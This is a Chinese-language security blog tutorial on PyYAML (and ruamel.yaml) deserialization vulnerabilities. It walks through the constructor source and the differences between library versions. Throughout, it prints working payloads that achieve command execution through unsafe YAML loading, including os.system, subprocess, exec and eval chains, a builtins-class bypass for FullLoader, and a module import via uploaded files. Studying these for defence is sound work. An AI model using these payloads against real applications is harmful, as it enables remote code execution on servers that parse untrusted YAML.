Python yaml 反序列化
Drunkbaby Lv6

Python yaml 反序列化

Py Yaml 反序列化漏洞

Python 中的强制类型转换

  • Py Yaml 的漏洞本质上是因为这一点产生的

可以通过 !! 来进行类型转换。

通过上面的测试可以发现,如果识别到一个数字,那么按照 YAML 格式来处理,这个类型就是数字类型。如果我们想把数字类型变为字符串类型就可以这样:a: !!str 1,它的结果和 a: "1" 是一样的。

由于 YAML 仅仅是一种格式规范,所以理论上一个支持 YAML 的解析器可以选择性支持 YAML 的某些语法,也可以在 YAML 的基础上利用 !! 来扩展额外的解析能力。本文主要聚焦于 PyYAML,所以直接看源码就可以知道它在 !! 上做了哪些魔改。

在 site-packages/yaml/constructor.py 中可以看到使用了 add_constructor 的有 24 多个地方,这些都是用来支持基础的类型转换(带有 tag:yaml.org,2002:python/ 的说明是 PyYAML 自定义的类型转换)

这些基础类型转换的功能非常好理解,看上面那张图即可,就不多说了,我们下面简单写一个 demo

test.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# test.yaml 文件内容  
# str: !!str 3.14 把浮点型3.14强转成str类型
# int: !!int "123" 把字符串123强转成int类型

# python 代码
import yaml
import os

# 项目路径
project_path = os.path.split(os.path.realpath(__file__))[0].split('tools')[0]


def get_yaml_data(fileDir):
"""
读取 test.yaml 文件内容
:param fileDir: :return:
""" # 1、在内存里加载这个文件
f = open(fileDir, 'r', encoding='utf-8')
# 2、调用yaml读取文件
res = yaml.load(f)
return res


if __name__ == '__main__':
info = get_yaml_data(project_path + r'\test.yaml')
print(info)

Run test.py

我们可以调试代码,简单看一下流程与一些值,传入的参数 node 格式为

所以对于一个 !!x x 来说,类型转换执行的伪代码就是:find_function("x")(x)。这个也很好理解。

高级类型转换

在理解了基础的类型转换之后,查看源码可以发现还有一个 add_multi_constructor 函数,一共有 5 个:

  • python/name
  • python/module
  • python/object
  • python/object/new
  • python/object/apply

从上面那张图可以看到,这几个都可以引入新的模块。这就是 PyYAML 存在反序列化的本质原因。

  • 用 Pycharm 来安装两个 Py Yaml 版本,先从 Py Yaml < 5.1 的版本说起

PyYaml < 5.1 的序列化与反序列化

在 Python 中的 PyYAML 库中提供这几种方式实现 Python 和 Yaml 这两种语言的转换。

yaml -> python 使用的方法是 yaml.dump

1
yaml.dump(data)

dump() 方法将 Python 对象 data 转换为 YAML 格式的方法,data 是一个 Python 对象,可以是字典、列表、元组、整数、浮点数、字符串、布尔值等基本数据类型,也可以是自定义的类的实例。

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import yaml  

data = {
'name': 'John',
'age': 30,
'is_student': True,
'hobbies': ['reading', 'swimming', 'traveling'],
'address': {
'street': '123 Main St',
'city': 'Anytown',
'state': 'CA',
'zip': '12345'
}
}

yaml_data = yaml.dump(data)

print(yaml_data)

输出结果:

在这个代码中,我们定义了一个 Python 字典 data,然后使用 yaml.dump 方法将 data 对象转换为 YAML 格式,并将其赋值给变量 yaml_data。最后,我们打印 yaml_data,输出转换后的 YAML 格式数据。

其实通俗点来说,就是将 Python 的对象实例转化为 YAML 格式的字符串,也就是序列化

深入挖掘 Py YAML 序列化与反序列化

  • 其实 Py YAML 并不是只有一个 yaml.load() 一个反序列化的方法

<5.1 版本中提供了几个方法用于解析 YAML:

  1. yaml.load:加载单个 YAML 配置
  2. yaml.load_all:加载多个 YAML 配置

以上这两种均可以通过 Loader 参数来指定加载器。一共有三个加载器,加载器后面对应了三个不同的构造器:

  1. BaseConstructor:最最基础的构造器,不支持强制类型转换
  2. SafeConstructor:集成 BaseConstructor,强制类型转换和 YAML 规范保持一致,没有魔改
  3. Constructor:在 YAML 规范上新增了很多强制类型转换

Constructor 这个是最危险的构造器,却是默认使用的构造器。

所有的 construct_python_xxx() 所有方法都调用了 constructor() 方法,这让我想起来 CVE-2018-1284 这个洞,大致上差不多。

我们可以先用这个 EXP 调试看一下

1
2
3
4
5
6
7
8
9
10
11
import yaml  

poc = '!!python/object/new:os.system ["calc.exe"]'
#给出一些相同用法的POC
#poc = '!!python/object/new:subprocess.check_output [["calc.exe"]]'
#poc = '!!python/object/new:os.popen ["calc.exe"]'
#poc = '!!python/object/new:subprocess.run ["calc.exe"]'
#poc = '!!python/object/new:subprocess.call ["calc.exe"]'
#poc = '!!python/object/new:subprocess.Popen ["calc.exe"]'

yaml.load(poc)

make_python_instance() 的调用栈如下

1
2
3
4
5
6
7
8
make_python_instance, constructor.py:552
construct_python_object_apply, constructor.py:606
construct_python_object_new, constructor.py:617
construct_object, constructor.py:88
construct_document, constructor.py:41
get_single_data, constructor.py:37
load, __init__.py:72
<module>, EXP.py:11

中间的调用栈也很简单,这里不再赘述,直接看漏洞触发点,其实是从 find_python_name() 方法中开始被调用

跟进 find_python_name() 方法,里面触发点是在 __import__ 上,在 SSTI 里面我们就会用到 __import__ 来导入恶意类,从而实现漏洞攻击。

利用成功

针对!!python/module标签

这个标签对应的是源码中的 construct_python_module,针对这个标签的利用方法和前两个不同,它没有调用逻辑,但是再搭配任意文件上传有奇效。

首先写入执行目录,yaml 中指定同名模块,例如上传一段恶意代码,叫 exp.py,然后通过 yaml.load('!!python/module:exp') 加载。

在实际的场景中,由于一般用于存放上传文件的目录和执行目录并不是同一个,例如:

1
2
3
4
app.py  
uploads
|_ user.png
|_ header.jpg

这个时候只需要上传一个 .py 文件,这个文件会被放在 uploads 下,这时只需要触发 import uploads.header 就可以利用了:

接着运行 python3 app.py 即可

PyYaml >= 5.1 的序列化与反序列化

大部分东西是一样的,区别在于 PyYaml >= 5.1 的时候,它并不是以 Constructor 作为默认使用的构造器。所以我们在请求的时候,是需要加上 Loader 这个参数的

这里说明一下 PyYaml >= 5.1 都有哪些加载器

1
2
3
4
BaseLoader:不支持强制类型转换
SafeLoader:安全地加载 YAML 格式的数据,限制被加载的 YAML 数据中可用的 Python 对象类型,从而防止执行危险的操作或代码。
FullLoader:加载包含任意 Python 对象的 YAML 数据,FullLoader 加载器不会限制被加载的 YAML 数据中可用的 Python 对象类型,因此可以加载包含任意 Python 对象的 YAML 数据。
UnsafeLoader:加载包含任意 Python 对象的 YAML 数据,并且不会对被加载的 YAML 数据中可用的 Python 对象类型进行任何限制。
  • 从加载器里面就可以比较明显得看出来,如果要进行漏洞挖掘的话,一定是从下面三个加载器去做文章,其中第二个 SafeLoader 需要我们去找 bypass 的方法,而剩下两个,则是寻找能利用的方法。

在 PyYaml >= 5.1的版本之后,Fullloader 这个加载器对于 payload 的限制比较多了,我们延用PyYaml 的 poc 还是可以的,只不过要修改一下。

我们还可以利用 python 内置的 builtins 模块(因为之前我们审计 constructor.py 时,发现定义的find_python_name() 中,如果不用”.”将模块名和对象名分开,会默认调用 builtins 模块)

1.沿用 PyYaml<=5.1 的 poc

1
2
3
4
5
6
7
8
9
10
from yaml import *
poc= b"""!!python/object/apply:os.system
- calc"""
#subprocess.check_output
#os.popen
#subprocess.run
#subprocess.call
#subprocess.Popen

yaml.load(poc,Loader=Loader)

2.利用 builtins 模块中的内置函数

首先,我们先明确 builtins 中的所有的类,从而筛选出可以利用的类

1
2
3
4
5
6
7
8
9
import builtins

builtin_classes = []
for obj_name in dir(builtins):
obj = getattr(builtins, obj_name)
if isinstance(obj, type):
builtin_classes.append(obj)

print(builtin_classes)

输出结果:

1
2
[<class 'ArithmeticError'>, <class 'AssertionError'>, <class 'AttributeError'>, <class 'BaseException'>, <class 'BaseExceptionGroup'>, <class 'BlockingIOError'>, <class 'BrokenPipeError'>, <class 'BufferError'>, <class 'BytesWarning'>, <class 'ChildProcessError'>, <class 'ConnectionAbortedError'>, <class 'ConnectionError'>, <class 'ConnectionRefusedError'>, <class 'ConnectionResetError'>, <class 'DeprecationWarning'>, <class 'EOFError'>, <class 'EncodingWarning'>, <class 'OSError'>, <class 'Exception'>, <class 'ExceptionGroup'>, <class 'FileExistsError'>, <class 'FileNotFoundError'>, <class 'FloatingPointError'>, <class 'FutureWarning'>, <class 'GeneratorExit'>, <class 'OSError'>, <class 'ImportError'>, <class 'ImportWarning'>, <class 'IndentationError'>, <class 'IndexError'>, <class 'InterruptedError'>, <class 'IsADirectoryError'>, <class 'KeyError'>, <class 'KeyboardInterrupt'>, <class 'LookupError'>, <class 'MemoryError'>, <class 'ModuleNotFoundError'>, <class 'NameError'>, <class 'NotADirectoryError'>, <class 'NotImplementedError'>, <class 'OSError'>, <class 'OverflowError'>, <class 'PendingDeprecationWarning'>, <class 'PermissionError'>, <class 'ProcessLookupError'>, <class 'RecursionError'>, <class 'ReferenceError'>, <class 'ResourceWarning'>, <class 'RuntimeError'>, <class 'RuntimeWarning'>, <class 'StopAsyncIteration'>, <class 'StopIteration'>, <class 'SyntaxError'>, <class 'SyntaxWarning'>, <class 'SystemError'>, <class 'SystemExit'>, <class 'TabError'>, <class 'TimeoutError'>, <class 'TypeError'>, <class 'UnboundLocalError'>, <class 'UnicodeDecodeError'>, <class 'UnicodeEncodeError'>, <class 'UnicodeError'>, <class 'UnicodeTranslateError'>, <class 'UnicodeWarning'>, <class 'UserWarning'>, <class 'ValueError'>, <class 'Warning'>, <class 'OSError'>, <class 'ZeroDivisionError'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'bool'>, <class 'bytearray'>, <class 'bytes'>, <class 'classmethod'>, <class 'complex'>, <class 'dict'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frozenset'>, <class 'int'>, <class 'list'>, <class 'map'>, <class 'memoryview'>, <class 'object'>, <class 'property'>, <class 'range'>, <class 'reversed'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'str'>, <class 'super'>, <class 'tuple'>, <class 'type'>, <class 'zip'>]

现在就是找可以利用的类了,继续回到我们的constructor.py中,

进一步审计 construct_python_object_apply()时,存在一个漏洞点

果listitems不为空,则调用instance的extend()方法,将listitems中的所有元素添加到instance列表对象的末尾,instance是我们创建的实例,这里并没有定义listitems是什么,如果我们的listitems是一个字典,而且其内容有”{‘extend’:function}”,这样的话,我们就可以利用extend进行任意函数的执行了。

但是,经过测试,我发现上面 builtins 中的这些类中,只有frozenset,bytes,tuple这三个类可以进行命令执行,为了搞清楚为什么,我们继续审计源码。

我们接着看 make_python_instance()

这里只要我们的内置类可以执行cls.__new__(cls, *args, **kwds)这段代码,就可以根据参数来动态创建新的Python对象,从而进行命令执行。

所以猜测frozenset,bytes,tuple应该是可以执行上述代码,所以可以进行命令执行的

测试payload:

1
2
3
4
!!python/object/new:frozenset  
- !!python/object/new:map
- !!python/name:os.popen
- ["bash /app/fileinfo/cmd"]
1
2
3
4
!!python/object/new:tuple  
- !!python/object/new:map
- !!python/name:eval
- ["print(123)"]

再附上一些网上存在的 payload

1
2
3
4
5
6
7
8
9
#报错但是执行了
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
1
2
3
4
5
6
- !!python/object/new:yaml.MappingNode
listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]'
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:yaml.unsafe_load
1
2
3
4
#创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('whoami')"

PS:

当利用上述payload测试到5.2b1版本时,发现无法利用针对!!python/object/apply标签的payload了,别的都可以利用

上述payload当我测试到5.4b1版本时,发现只有利用针对!!python/name标签的payload可以命令执行,别的payload都不能用了

当版本大于等于5.3.1:https://github.com/yaml/pyyaml/pull/386

当版本大于等于6.0: https://github.com/yaml/pyyaml/pull/386

3. 利用ruamel.yaml读写yaml文件

在网上搜资料的时候,Evi1s7 师傅发现了也可以利用 ruamel.yaml 读写 yaml 文件,进行测试一下。

这里还是沿用 PyYaml>5.1 的 poc

1
2
3
4
5
6
import ruamel.yaml

poc= b"""!!python/object/apply:os.system
- calc"""

ruamel.yaml.load(poc)

虽然回显报错,但是仍然可以执行,所以利用ruamel.yaml读写yaml文件也是存在上述的漏洞的,这里就不再测试。

小结

入职后实在是没精力写这些文章了,时间太碎了,后续或许有时间会再回过头来看看

Ref

https://xz.aliyun.com/t/12481
https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/

 评论